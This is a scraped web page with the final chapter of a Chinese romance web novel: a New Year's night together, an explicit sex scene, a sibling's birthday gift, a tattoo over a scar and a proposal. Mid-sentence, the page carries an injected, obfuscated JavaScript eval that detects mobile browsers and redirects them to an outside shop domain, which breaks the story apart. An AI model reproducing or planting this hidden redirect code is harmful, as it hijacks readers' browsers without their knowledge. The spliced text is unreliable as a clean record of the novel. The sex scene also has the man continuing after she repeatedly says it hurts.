文趣网 > 其他小说 > 水蜜桃骑士和土豆公主 > 57. 第 57 章
    窗外的烟花还在继续。

    白芸也不打算看电视了,兴致冲冲跑到阳台去看烟花。

    林风跟在她身后,把阳台窗户关了。

    电视机里春晚主持人在倒计时着新年来临。

    随着倒计时的最后一秒落下,烟花像是蹿出去的子弹,从四面八方疯狂涌上夜幕,然后炸响,宣告着新年来临,万象更新。

    与此同时,白芸看着林风,欢快地笑着,“新年快乐!”

    林风也看着她,“嗯,新年快乐。”

    “我是第一个跟你说新年快乐的人!”白芸亲昵地挽着林风的颈,额头蹭着他的额头。

    笑声从喉咙里溢出,林风忍不住亲了她一下,“有什么新年愿望吗?”

    白芸翘着嘴角想了想,“我希望,每年的新年都有你。”

    林风简直拿她没办法,提醒她,“这种愿望你说过很多次了。”

    不论是她喝醉后,还是在迪士尼,亦或是现在,她的愿望总是这一个,就想要他陪着她。

    “可我只有这一个愿望。”白芸瞧着他的眼睛,神色纠结,似乎是真的想不出别的愿望。

    “行,”林风摸摸她头,“那就这一个吧。”

    话音刚落,林风俯身含住她的唇。

    两人是怎么从阳台转到沙发,又是怎么从沙发转到卧室,白芸都已经记不清了。

    她被林风吻的七荤八素,脑海中也一片混沌。

    胳膊还搭在林风肩上,她渐渐有些招架不住,林风放开她,让她喘气。

    白芸清亮的眸子里盛满了水汽,嘴唇也被他吻的嫣红,她小口喘着气。

    林风从身上退开,去厨房给她倒了杯水。

    白芸忍不住蹙了蹙眉头,林风是不是有什么隐疾啊?

    两人在一起这么久了,从来都没有过什么过分行为,每次他都只是亲亲她,从来都不乱碰乱摸,如果他真不行的话,那还挺可惜的。

    胡思乱想间,林风已经端着水杯回来了,白芸接过喝了几口。

    林风钻进被窝打算搂着她睡觉。

    白芸听话地躺在他身上,脑海里乱七八糟的还在想他到底行不行。

    简直太奇怪了,他连碰都不碰,真的好奇怪啊。

    除了他不行这个理由,白芸真的想不出第二个原因。

    翻来覆去的睡不着。

    林风忽然开口,嗓音沙哑,“不想睡觉了?”

    他本来是打算结婚后再干这种事的,每次亲完后他都要忍炸了,白芸睡着了还好,他可以去冲个冷水澡,偏偏她今晚不仅不睡,还翻来覆去的动,惹的他整个人都不舒服。

    白芸小声解释,“我睡不着,吵到你了嘛?”

    她一边说着,一边往旁边挪。

    林风眉头紧锁,忽然翻身把她压在身下。

    白芸不敢动了,他存在感太强,想忽视都忽视不了。

    林风眸中汹涌,一双黑眸危险地勾着,让她做选择,“睡不着?想不想干点别的?”

    当下这个场景,这个氛围,他这一句别的是什么,白芸心知肚明。

    白芸就是典型的事到临头就犯怵人格。

    林风没事的时候她怀疑他是不是不行,现在林风准备好了她又开始害怕起来。

    她咬着唇,拿不定主意。

    林风却已经从她这个反应中得到了答案。

    他侧开头,埋进她颈窝,跟上次一样,打算抱一会就好。

    白芸安静的等他抱完,内心还是十分纠结。

    这样会不会太让他伤心了?

    而且,网上不都说那种事很爽吗?

    其实她也没那么害怕,试一试应该也没事吧?

    无数个想法在她脑海中飞速擦过,一转眼的时间,林风已经起身准备去洗手间了。

    白芸一咬牙,心一横,闭上眼就伸出胳膊把林风压了回来。

    林风被她这突然的动作整懵了,反应过来的时候,白芸已经吻上了他的喉结。

    他浑身一紧,死死看着白芸,喉结上下滚动,“想好了?”

    白芸不好意思说,索性破罐子破摔,直接用行动证明——她伸手撩开了林风衣襟,试探性地摸着他坚实有力的腹肌。

    林风倒吸了一口气,抓住她的手,吻上她前,说的最后一句话是,“难受就喊停。”

    林风又开始跟她接吻了。

    舌尖相抵,带着不容拒绝的强势。

    白芸心脏扑通扑通跳着,紧张中又带了点恐惧。

    林风伸出一只手,从她的毛衣下摆探进,指尖触碰到微凉的肌肤,他不急不缓摸索着她的腰,白芸感觉被他摸过的地方都被麻的没了知觉。

    他的手缓缓上移,摸到她的排扣,忽然停了下来。

    白芸刚刚睁眼,他就已经从她身上退开。

    一句怎么了还没问出口,林风已经熟稔地从床头柜里处翻出了小方盒。

    白芸吃惊,缓缓睁大眼,语气里满是不可思议,“你什么时候买的?”

    林风三两下拆完,“表白前。”

    表白前?

    Emperor好像是说过他去超市了。

    她当时还以为那是他为了买花找的借口。

    他还真去超市了?

    思索间,林风已经欺身重新压上了她。

    唇又被他含住,手重新从毛衣下摆探进。

    白芸急急开口,“等一下!”

    林风起身,压抑着呼吸,“怎么了?”

    白芸喘着气提醒他,“要…要关灯。”

    林风顺着她的意把灯关了,重新吻住她。

    痛感传来的那一刻,白芸简直要死过去了,痛死了好吗!

    她受不了,不受控制地想躲。

    林风身上起了一层薄汗,额角也全是汗。

    他没动,也嵌住她不让她躲,呼吸沉重,喘着粗气,他伏在她耳边,艰难地引导她,“放松点,姐姐。”

    生理性的泪水已经冒了出来,白芸难受死了,声线也发抖,“好痛。”

    林风撑着胳膊看白芸,黑暗的环境中,眼前人发丝如瀑,无意识紧咬着嘴唇试图减轻疼痛,泪水从眼角滑落滚进黑发。

    他眼底通红,太阳穴直跳,撑在一边的手上也泛起了青筋,还在撑着没有动,“乖,别动,等一会。”

    白芸听话的不再动。

    痛感过去后,似乎也没有那么难受。

    屋内的温度在慢慢升高。

    浮浮沉沉间,白芸听到有什么东西在响,她分了注意力去看,是她的藤镯,和他的手串。

    之前林风为了方便,把它们叠戴在了一起。

    似是不满她的分神,林风吻了下她耳廓,“专心点,宝宝”

    脑袋差点儿嗑上床头,林风及时伸手护住。

    白芸惊叫一声,只能死命咬唇憋住声音,却还是有几丝透过唇缝溜了出来,那些声音她自己都不好意思听,羞的耳根子都红了。

    林风却仿佛很喜欢,鼓励似地吻了吻她唇角,跟她说,“憋着不好。”

    白芸睁开雾蒙蒙的双眼去看他。

    他也在看她,眸子里满是深沉的情欲,有汗水顺着他额角滑下。

    她终是忍不住,松开了紧咬的牙关,音节溢出,她也没力气了。

    最后不知过了多久,白芸累的一动都不想动,窝在林风怀里。

    男人说话都是放屁!

    白芸可太生气了!

    还说什么难受就喊停,她喊了那么多句难受,他是聋了吗?

    想到这儿,白芸气愤的指责林风,“坏蛋!流氓!色鬼!”

    林风挑眉,“骂我干什么?”

    “谁让你说话当放屁用?我说了那么多句难受你都装聋!”

    林风吻了吻她发旋,“嗯,我的错,下次不会了。”

    他真不是故意的,他一开始也以为这种事只要他想停就能停下,在白芸第一次喊难受的时候,他也尝试着停下,却发现这玩意根本不是人能控制的,停不下来一点。

    白芸一点力气都没了,连林风抱着她去洗澡,她也没力气害臊。

    走到浴室门口,白芸忽然想起来什么,指着他手腕上的手串和藤镯,提醒林风,“那个不能碰水。”

    林风看了眼,半信半疑的问,“为什么?”

    “因为会坏掉。”白芸给他解释。

    “会坏掉?”林风玩味地重复着这几个字。

    反应过来他脑子里面在想什么,白芸气死了,脸色爆红,挣扎着从他身上跳下来,“砰”的一声关上了浴室门。

    林风拧了拧门把,锁上了。

    他也没强迫,回卧室换了套床单。

    白芸还在洗澡。

    林风给菲利克斯拨了个电话。

    这边是凌晨,那边还是下午。

    菲利克斯很快就接了电话,林风用流畅的英文问他戒指还有多久。

    菲利克斯哈哈笑了两声,让他别急,过两月做完就给他送来。

    林风嗯了一声就挂了电话。

    *

    新年假期结束后的一个月是白居浩的生日。

    今天是周末,白芸起了个早。

    白居浩的成人礼,袁尚肯定会大办,她不想跟她碰面,就打算趁着她上午工作不在家,把礼物给他。

    她给白居浩从头到脚买了一套衣服。

    到袁尚家时,白居浩正在家里学习。

    当年白芸也是在一中上的高中,知道一中的作风,压榨高三就跟不要命是的,上两星期放半天。

    也就白居浩成绩好,请假不被人嘀咕,不然他这成人礼估计也办不成。

    看见白芸,白居浩唰的一下起身,“姐。”

    白芸嗯了一声。

    白居浩连忙给她倒了杯水,白芸没接,把礼物放下就打算

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507105|202282||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    走。

    毕竟,她真的和他没什么好聊的,两个人生活环境不同,就算白居浩从头到尾没做错一件事,白芸也很难和他坐下来聊天。

    白居浩见白芸要走,慌忙喊住她,急匆匆跑回屋里拿了什么回来。

    “这个是我给你的生日礼物,你生日那天妈妈不让我去找你。”白居浩垂着脑袋,不好意思抬头。

    白芸接了,道了声谢,临走还是回身,轻声冲他说,“高考加油。”

    白居浩眼睛一亮,欢快的嗯了一声。

    出租车来的时候,白芸还在拿着手里的冠军奖杯乐高愣神。

    直到师傅催了一下,她才猛地回神上了车。

    她记得高考完的那个暑假,她背着袁尚偷偷训练的事被她发现,她当时说自己什么来着?

    不务正业?

    不知好歹?

    没有良心还是这辈子就这样了?

    白芸记不清了,只记得她当时倔强的跟袁尚说,未来某一天,她一定会成为世界冠军。

    白居浩给她做生日礼物的时候,她还没有成为世界冠军。

    他一直都相信她说的那句话。

    白芸鼻头一酸。

    她和白居浩,是亲姐弟,身上流着一样的血。

    他们两个人明明可以不用这样的,却被很多难以跨越的鸿沟分成了不相关的两类人。

    白居浩有袁尚和白盛贤,而她什么都没有。

    世界太苦,好在她遇见了林风。

    白芸垂眸看向自己手腕处的那道疤。

    那道疤,是耻辱,也可以成为救赎。

    她叫停出租车,下车沿着路边一步步往回走,找到了一家纹身店,然后毫不犹豫走了进去。

    甫一进门,纹身师看见她一个年纪不大的小姑娘模样,还以为她是好奇心驱使,直到白芸坐在了纹身椅上,挽起袖子露出那道肉色的伤疤,纹身师才明白她是真的想纹身。

    商讨图案,完成手稿,确定位置…一系列事结束后,纹身师俯身,密密麻麻的刺痛从手腕处传来,白芸眨了眨眼,没什么表情,空洞的双眸盯着那只粘着绿色墨水的纹身笔,也不知道在想些什么。

    后来很多时刻,白芸再次回想起现在的场景,记忆中却不是针刺入皮肤的痛感,只有一股说不清道不明的安心感。

    白芸回基地的时候,几个人还在嘻嘻哈哈打闹,一如她在这的每一天。

    这里有她的梦想,有她的伙伴,还有她的爱人,有她所珍重的一切,小时候的心愿终于实现,她已经拥有了她最想要的开心。

    四月芳菲,白芸牵着林风去了埋葬奶奶的公墓。

    石碑上很干净,没有一丝灰尘,白芸俯身把手里的白菊放在石碑前,冲着奶奶笑了笑,“奶奶,您走了这么久也不愿回孙女梦里看一眼,不过我不怪你,说不准是因为你已经找到下一家了呢。孙女现在很优秀了,是世界冠军哦,还找了个非常帅气可爱的男朋友,每天吃得好穿的好,最重要的,是每天都过的很开心,希望你在那边,也能吃好喝好…”

    白芸在那里絮絮叨叨说了一堆,末了要走了,还记得跟奶奶说声再见。

    深圳的四月,气温回升,白芸只穿了件卫衣也不冷。

    两人沿着草地慢慢走着。

    又是一年春天到了。

    去年春天,白芸还在迷茫中坚持,不知道未来将会在何处。

    今年春天,白芸牵着林风的手走在草地上计划着未来。

    林风紧握住白芸的手,不着痕迹往她中指上套了个冰凉的银圈。

    白芸垂眸,中指上的钻戒耀眼,连外圈都镶嵌着碎钻。

    她忽然心里咯噔一下,半真半假笑着开口,“你是想跟我求婚嘛?”

    林风注视着她,神色是她从没见过的认真,下一秒,她听见他坚定无比的声音,“我知道我才20岁,但是我等不及了,我想娶你,想娶你回家,想照顾你,想和你过一辈子,想每天醒来眼前都是你,有个宝宝然后白头偕老,我想要我的余生都是你。”

    霎那间,世界静止空白,白芸眼中只留下了林风。

    山崩海啸于前,都不及此刻心跳万一。

    林风握住她的手,轻轻吻上了钻戒,“我娶你回家,好吗?”

    白芸眼眶湿润,微微笑起来。

    她从来都没有想过,会有人这么迫不及待的想娶她回家,会有人这么这么喜欢她。

    她嘴唇翕动,清脆干净的声音随风落进林风耳中,他听见她说好。

    白芸的世界原本暗无天日,却在迷途中突然遇见了林风。

    像是偶像剧里讲述的那样。

    我曾于世间混沌中窥见一缕春光。

    于是四季轮回,万物更迭的亘古长河中。

    枯木逢春,竭溪遇雨。

    从此,

    你是我连绵不休的第二季春。

    ———END